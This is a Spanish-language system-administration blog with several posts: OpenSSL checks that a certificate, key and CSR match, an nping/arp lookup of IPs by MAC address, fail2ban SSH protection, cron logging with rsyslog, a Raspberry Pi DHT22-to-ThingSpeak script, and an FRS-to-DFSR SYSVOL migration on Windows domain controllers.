Si disponemos de un fichero CA Bundle no es otra cosa que un certificado intermediate y raíz de la CA en un solo archivo, uno detrás del otro, debes combinarlos en uno solo para tener un CA_bundle completo. Los certificados raíz no son necesarios cuando se instala el certificado, para la instalación es suficiente activar en el servidor el correspondiente certificado intermediate.

El orden de los certificados es partir del dominio y hacia la raíz. Intermedio cert1, intermedio cert2 por encima y así sucesivamente.

La cadena es necesaria para mejorar la compatibilidad de los certificados con los navegadores web y otro tipo de clientes para que los navegadores reconozcan su certificado y no aparezcan advertencias de seguridad.

Comprobar la integridad

Para Comprobar la integridad de los ficheros de certificados, debemos revisar que la suma de verificación (checksum) es la misma para el certificado, la clave privada y el CSR (Certificate Signing Request). Los tres deben coincidir para ser válidos entre sí.

Si se obtiene un valor MD5 o SHA256 diferente, significa que el certificado, la clave privada y el CSR no coinciden. De ser así podría ser que el certificado no se hubiese creado con el mismo CSR o el CSR se ha creado con otra clave privada.

Para comprobar estos valores podemos hacerlo mediante modulus usando OpenSSL.

Usando OpenSSL: MD5 y sha256sum

Certificado, clave privada, CSR: 
# openssl x509 -noout -modulus -in public.crt | md5
# openssl rsa -noout -modulus -in private.key | md5
# openssl req -noout -modulus -in intermediate.csr | md5
# openssl x509 -noout -modulus -in public.crt | sha256sum
# openssl rsa -noout -modulus -in private.key | sha256sum
# openssl req -noout -modulus -in intermediate.csr | sha256sum
Saludos!

29 julio, 2019

nping: Aplicando Reverse ARP de forma práctica (RARP)

Este es un pequeño tip de como se puede realizar de forma práctica un RARP (Reverse Address Resolution Protocol). Conociendo una dirección MAC y un rango de red específico, realizar peticiones ICMP (ping) de forma automática a un pool de direcciones de red para posetirormente consultar las tablas ARP y descubrir la dirección IP asiganada.

Del software nmap podemos hacer uso del script nping para poder escanear un rango de red determinado de forma automática y listar la tabla ARP local redireccionando la salida a un filtro por la dirección o direcciones MAC que queremos descubrir su IP.
nping --rate=5 <RangeIP> & arp -a | findstr "<MACAddress1> <MACAddress2> ..."

nping --rate=5 192.168.1.1-255 & arp -a | findstr "00-11-2c-3f-44-55 11-2b-3c-44-22-33"
nping ya dispone de un modo ARP aunque de las pruebas que he realizado en ninguna obtuve el resultado esperado.

Saludos!

17 julio, 2019

fail2ban: Control de ataques de fuerza bruta en servicios de sistemas Linux

fail2ban es una aplicación IDPS (Intrusion Detection and Prevention Systems) que supervisa las conexiones externas de direcciones IPs a servicios internos, se puede parametrizar para bloquear los intentos de accesos externos por fuerza bruta. En base al cumplimiento de las directivas definidas y asociadas a determinados servicios.

fail2ban detecta conexiones que puedan ser anómalas y bloquea la IP pública que intenta acceder a dichos servicios por lo que sería un sistema activo (analiza, detecta y actua al momento), lo hace añadiendo reglas iptables rechazado las conexiones procedentes de esa dirección IP pública.

fail2ban escanea los ficheros de logs de los servicios configurados como por ejemplo "/var/log/auth.log" (ssh) o "/var/log/apache/error_log" (apache), comprobando los criterios establecidos en las directivas de cada servicio y banenado aquellas direcciones IPs públicas que intentaron acceder a dicho servicio y baneando estas direcciones IPs.

En el fichero de configuración de servicios asociados a fail2ban, se refieren a estos servicios como "jails".
/etc/fail2ban/jail.conf
En el caso de configurar el servicio SSH se podría definir de la siguiente manera.
[sshd]
port = ssh
logpath = %(sshd_log)s
backend = %(sshd_backend)s
bantime = 86400
findtime = 600
maxretry = 3
Donde las directivas son:
  • bantime = Número de segundos en el cual una dirección IP permanecerá prohibida (10 min por defecto).
  • findtime = Cantidad de tiempo entre intentos de inicio de sesión, antes de que se elimine el host. (predeterminado 10 min).
  • maxretry = Número de intentos que deben realizarse antes de que se aplique una prohibición. (por defecto 3 intentos).

Consultar las IPs que intentaron acceder y fueron baneadas o bloqueadas

Desde el cliente fail2ban-client indicando el tipo de jail (servicio sshd).
# fail2ban-client status sshd
Status for the jail: sshd
|- Filter
|  |- Currently failed: 1
|  |- Total failed:     4
|  `- File list:        /var/log/auth.log
`- Actions
   |- Currently banned: 1
   |- Total banned:     2
   `- Banned IP list:   67.10.125.108
A través de iptables.
# iptables -L -n
Chain f2b-sshd (1 references)
target     prot opt source               destination
REJECT     all  --  67.10.125.108        0.0.0.0/0            reject-with icmp-port-unreachable
RETURN     all  --  0.0.0.0/0            0.0.0.0/0
REJECT - reject-with icmp-port-unreachable: Conexión rechazada

Visualizar los registros de logs

Se almacenan en el fichero de log /var/log/fail2ban.log.

Podemos hacer un "grep Ban" para ver los registros de las direcciones IPs baneadas y un "grep Unban" para las IPs que ya hayan sido desbloqueadas, transcurrido los tiempos definidos anteriormente en las directivas del fichero jail.conf.
# cat /var/log/fail2ban.log | grep Unban
2019-07-15 21:12:41,602 fail2ban.actions        [18533]: NOTICE  [sshd] Unban 67.10.125.108
2019-07-15 21:32:01,540 fail2ban.actions        [18705]: NOTICE  [sshd] Unban 74.15.62.217
2019-07-15 21:42:50,191 fail2ban.actions        [18705]: NOTICE  [sshd] Unban 49.80.215.108
...

Banear dirección IP manualmente

fail2ban-client set <JAIL-NAME> banip <IP-ADDRESS>

# fail2ban-client set sshd banip 37.10.145.208

Desbanear dirección IP manualmente

fail2ban-client set <JAIL-NAME> unbanip <IP-ADDRESS>

# fail2ban-client set sshd unbanip 37.10.145.208
Desbanear dirección IP manualmente a través de iptables indicando el número de regla.
# iptables -L f2b-sshd --line-numbers
Chain f2b-sshd (1 references)
num  target     prot opt source               destination
1    REJECT     all  --  67.10.125.108        0.0.0.0/0            reject-with icmp-port-unreachable
2    RETURN     all  --  anywhere             anywhere
# iptables -D f2b-sshd 1
Desbanear IP manualmente a través de iptables indicando directamente la dirección IP pública.
iptables -D f2b-sshd -s 67.10.125.108 -j REJECT

Configurar una Whitelist en fail2ban

Configurar un pool de IPs a ignorar de los baneos o bloqueos temporales. Se define con la directiva ignoreip en el fichero de configuración /etc/fail2ban/jail.conf.
ignoreip = 127.0.0.1/8 ::1 <IP interna o externa, rango de red a ignorar>
ignoreip = 127.0.0.1/8 ::1 192.168.10.0/24
Saludos!

Autor: Adrián Lois

21 mayo, 2019

Generar un fichero de log de la ejecución de las tareas de CRON con rsyslog

Cuando añadimos nuevas tareas programas a cron la única forma de que estas generen un log del proceso de las acciones que van realizando es redireccionarlas a un fichero de log, en la propia línea que ejecuta la tarea dentro de cron usando la redirección.

Un ejemplo podría ser:
01 14 * * * root /home/user/script.sh >> /logs/script.log 2>&1
Si no queremos ver las acciones de la tarea que se ejecuta y simplemente queremos comprobar si una tarea se está ejecutando y cuando. Podemos consultar el syslog del sistema buscando por la palabra CRON.
tail -f /var/log/syslog | grep CRON 
Si lo que queremos es obtener un fichero independiente con este filtro, es posible crear un fichero de log específico para la ejecución de tareas cron.

RSYSLOG (Rocket-fast system for log processing) es una utilidad que nos permite entre otras múltiples funcionalidades crear un filtro dentro del fichero syslog del sistema y exportar los resultados a un nuevo fichero.

Se creará un fichero cron.log que contendrá solamente las entradas CRON que se muestran en syslog. Hay que tener en cuenta que los trabajos de CRON seguirán apareciendo en syslog.

Por defecto rsyslog está instalado por defecto en Ubuntu, sino lo estuviese.
apt install -y rsyslog
Editamos el fichero
/etc/rsyslog.d/50-default.conf
Buscamos y descomentamos la línea:
#cron.*
Guardamos el fichero.

Habilitamos el servicio automáticamente en el inicio del sistema y reiniciarlo.
systemctl enable rsyslog
systemctl restart rsyslog
Ahora debería existir un fichero de registro cron en:
/var/log/cron.log
Saludos!

10 mayo, 2019

RaspberryPi: Captar temperatura y humedad con sensor DHT22 (AM2302) y enviar datos a ThingSpeak.com

RaspberryPi: Captar temperatura y humedad con sensor DHT22 (AM2302) y enviar datos a ThingSpeak.com.

Repositorio Github: https://github.com/adrianlois/RaspberryPi-Projects/tree/master/01.rpi-sensor-dht22-am2302-thingspeak

Requisitos previos

Instalar Python 2

sudo apt update -y
sudo apt install python-pip -y
sudo python -m pip install --upgrade pip setuptools wheel

Instalar librerías Adafruit

git clone https://github.com/adafruit/Adafruit_Python_DHT.git
cd Adafruit_Python_DHT
sudo python setup.py install

Esquema de conexión: Temperatura y Humedad sensor DHT22 AM2302

El sensor DHT22 AM2302 consta de 3 pines:
  • + (positivo) = Voltaje 3V (Power - pin 1)
  • - (negativo) = Tierra (Ground - pin 6)
  • out = Salida de datos (GPIO4 - pin 7)
Podemos hacer otro esquema de conexión siempre que se respete la funcionalidad de cada pin del sensor al esquema de conexión de la RaspberryPi. Hay que tener en cuenta el número de GPIO donde iría conectado el pin "out" del sensor, este nos proporciona la salida de datos captados.

En el script "thingspeak_raspi_dht22.py" establecemos el número de GPIO en la variable raspiNumGPIO.

Test de conexión del sensor DHT22 AM2302

Teniendo las librerías Adafruit ya instaladas una forma de probar la conexión entre el sensor y la RaspberryPi es ejecutar el script de ejemplo para obtener los datos de temperatura y humedad actuales.

Se le pasa como primer parámetro el modelo de sensor "2302" y el número de GPIO del pin correspondiente donde está conectado la salida de datos (out) del sensor, en este caso 4 (GPIO4).
$ python Adafruit_Python_DHT/examples/AdafruitDHT.py 2302 4
Temperatura=21.2* Humedad=57.7%
Figura 1: Esquema de conexión GPIO Raspberry PI 3 B/B+.
Figura 2: Conexión física del sesnor dht22 am2302 a Raspberry Pi 3 B+.

Script Python para el envío de datos a la cuenta de ThingSpeak (thingspeak_raspi_dht22.py)

import sys
import urllib2
import RPi.GPIO as GPIO
import Adafruit_DHT
# Write API Key ThingSpeak.com
miWriteAPIKey = "XXXXXXXXXXXXXXXX"
# Numero GPIO de conexión out del sensor dht22 a RaspberryPi
raspiNumGPIO = "X"
def getSensorData():
   RH, T = Adafruit_DHT.read_retry(Adafruit_DHT.DHT22, raspiNumGPIO)
   return (str(RH), str(T))
def main():
   print 'Iniciando...'
   baseURL = 'https://api.thingspeak.com/update?api_key=%s' % miWriteAPIKey
   while True:
       try:
           RH, T = getSensorData()
           f = urllib2.urlopen(baseURL + "&field1=%s&field2=%s" % (RH, T))
           print f.read()
           f.close()
           sleep(5)
       except:
           print 'Terminado.'
           break
if __name__ == '__main__':
main()

Configuración de la cuenta de ThingSpeak.com

  1. Registrarse en https://thingspeak.com
  2. Si no tenemos cuenta previa en MathWorks. ThingSpeak nos redirigue, con la posibilidad de usar el mismo email, hacia el registro de https://www.mathworks.com.
  3. Crear un nuevo channel en nuestra perfil y agregar dos field chart (Temperatura y Humedad).
  4. Obtener el "Write API Key" del channel creado.
  5. Establecer el "Write API Key" en el script "thingspeak_raspi_dht22.py" en la variable miWriteAPIKey.
  6. Podemos usar y personalizar plantillas de código Matlab para la visualización de los datos registrados en los field chart del channel de ThingSpeak.

Programar el envío de datos a ThingSpeak.com (crontab)

Añadimos una tarea programada en cron (/etc/crontab) que ejecutará el script "thingspeak_raspi_dht22.py" enviando los datos captados a nuestra cuenta de ThingSpeak.
@hourly root python /thingspeak/thingspeak_raspi_dht22.py
Channel ThingSpeak: https://thingspeak.com/channels/769908/

Figura 3: Ejemplo de tablas de campo (field chart) del envío de datos a la cuenta de ThingSpeak.

Saludos!

17 abril, 2019

Migración de replicación FRS a DFSR entre controladores de dominio Windows Server [dfsmig]

En el caso que tengamos un controlador de dominio Windows Server 2008 R2 con replicación FRS (File Replication Service) y se necesite migrar a unos nuevos controladores de dominio Windows Server 2019 que haga uso de del sistema de replicación DFS (Distributed File System) habría que realizar una migración de los controladores viejos a un sistema de replicación DFS.

Elevar el nivel funcional

Primero será necesario elevar el nivel funcional del dominio en los controladores de dominio viejos. El nivel funcional determina las características de los Servicios de dominio de Active Directory (AD DS) que están habilitadas en un dominio o bosque. El nivel funcional del bosque limita al nivel funcional del dominio y solo afecta a los servicios de AD de los controladores de dominio, en el el caso de tener un servicio DHCP, IIS, WSUS, etc. no se verían afectados.

En los controladores de dominio viejos. Dominios y confianzas de Active Directory.

Figura 1: Elevar el nivel el nivel funcional del dominio...

Figura 2: Elevar el nivel funcional del dominio disponible al nivel más alto posible.

Comprobar el estado de la carpeta SYSVOL

Comprobar que la carpeta SYSVOL se está compartiendo. Ejecutar net share en uno de los controladores de dominio.

Comprobar el estado de los DCs con dcdiag.
dcdiag /e /test:sysvolcheck /test:advertising
Comprobar el path y el estado de la carpeta SYSVOL a través del registro de uno de los DCs. Valor "SysvolReady" a 1.
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Netlogon\Parameters
Figura 3: Comprobar que la replicación de SYSVOL en el registro.

Comprobar replicación entre DCs

Verificar con repadmin la replicación antes de realizar la migración.
Muestra el estado de replicación de los controladores de dominio por última vez.
repadmin /showrepl

Identifica los DC's que fallan en la replicación entrante o saliente.
repadmin /replsummary

# Otra forma de comprobar la replicación usando dcdiag.
dcdiag /test:replications
Comprobar que el servicio de "DFS Replication Service" está corriendo en modo automático en todos los DCs de dominio.
sc qc DFSR

 

Tipos de estado de migración FRS a DFSR

Estados Estables / Estados Globales de Migración
  • STATE 0 START
  • STATE 1 PREPARED
  • STATE 2 REDIRECTED
  • STATE 3 ELIMINATED
Estados de Transición / Estados Locales de Migración
  • STATE 4 Preparing
  • STATE 5 Waiting for initial sync to complete
  • STATE 6 Redirecting
  • STATE 7 Eliminating
  • STATE 8 Undo redirecting
  • STATE 9 Undo preparing
Una vez que hemos pasado al estado 3 ELIMINATED ya no hay posibilidad de hacer rollback a una situación anterior.

Más info: https://blogs.technet.microsoft.com/filecab/2008/02/08/sysvol-migration-series-part-1-introduction-to-the-sysvol-migration-process

Migración RFS a DFSR

Se hará uso de la herramienta en línea de comandos dfsrmig.
dfsrmig /setglobalstate 1
Estado 1 glocal (PREPARED) se crearán todos los objetos necesarios para la replicación DFS-R. Se crea un nuevo recurso compartido SYSVOL_DFSR (C:\Windows\SYSVOL_DFSR) dejando de momento el actual SYSVOL. Podemos usar "dfsrmig /getmigrationstate" para comprobar el estado actual de la migración.

Figura 4: Migración RFS a DFSR - Estado 1 global (Prepared).

Estado 2 global (REDIRECTED) lanzará el proceso de migración desde SYSVOL a SYSVOL_DFSR.
dfsrmig /setglobalstate 2
Figura 5: Migración RFS a DFSR - Estado 2 global (Redirected).

El editor ADSI (Active Directory Services Interfaces) es un editor del directorio de bajo nivel basado en LDAP que permite la edición y visualización de atributos de los objetos del bosque.

Además nos permite modificar aquellos atributos que no podemos trabajar desde las otras consolas de administración del directorio como Usuarios y equipos de Active Directory, Sitios y servicios u otras.

AD LDS (Active Directory Lightweight Directory Services) es un servicio de directorio LDAP que proporciona almacenamiento y recuperación de datos a aplicaciones habilitadas para el uso de directorios, sin las dependencias necesarias para los Servicios de dominio de Active Directory.

Comprobamos que FRS como DFSR siguen activos en este punto de la migración.

Figura 6: Comprobación de estado de FRS y DFSR en el editor ADSI.

Estado 3 global (ELIMINATED) eliminará la carpeta SYSVOL y deshabilitará el servicio FSR. En este punto como ya se comentó anteriormente no hay posibilidad de vuelta atrás.
dfsrmig /setglobalstate 3
Figura 7: Migración RFS a DFSR - Estado 3 global (Eliminated).

Una vez finalizada la migración comprobamos a través del editor ADSI que que el servicio FRS ya no se esté usando.

Figura 8: Comprobación de eliminación de FRS en el editor ADSI

Comprobamos en la consola de servicios (services.msc) que FRS está en estado deshabilitado y DFSR está en ejecución.

Figura 9: Comprobar el estado de los servicios FRS y DFS-R.

Por último, comprobamos que no hay fallos y que la replicación es correcta entre todos los controladores de dominio.
repadmin /replsummary
repadmin /showrepl
Figura 10: Comprobar finalmente la correcta replicación entre todos los controladores.

Saludos!

Autor: Adrián Lois